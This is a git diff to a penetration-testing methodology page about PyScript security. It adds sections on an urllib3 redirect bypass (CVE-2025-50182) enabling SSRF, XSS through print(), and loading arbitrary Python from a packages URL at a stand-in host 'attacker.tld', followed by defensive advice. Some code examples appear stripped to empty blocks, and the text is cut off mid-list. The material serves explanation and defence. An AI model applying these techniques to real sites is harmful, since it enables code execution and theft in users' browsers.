diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index 2d5d90d92..a9d21f0e3 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -95,7 +95,7 @@ Code: ```html - prinht(" + prinht("" - ") + "") ``` @@ -180,7 +180,68 @@ Result: ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## New vulnerabilities & techniques (2023-2025) + +### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182) + +`urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic. + +```html + +``` + +Patched in `urllib3 2.5.0` – upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details. + +### Arbitrary package loading & supply-chain attacks + +Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victim’s browser: + +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` + +*Only pure-Python wheels are required – no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes. + +### Output sanitisation changes (2023+) + +* `print()` still injects raw HTML and is therefore XSS-prone (examples above). +* The newer `display()` helper **escapes HTML by default** – raw markup must be wrapped in `pyscript.HTML()`. + +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` + +This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly. + +--- + +## Defensive Best Practices + +* **Keep packages up to date** – upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site. +* **Restrict package sources** – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI). +* **Harden Content Security Policy** – disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `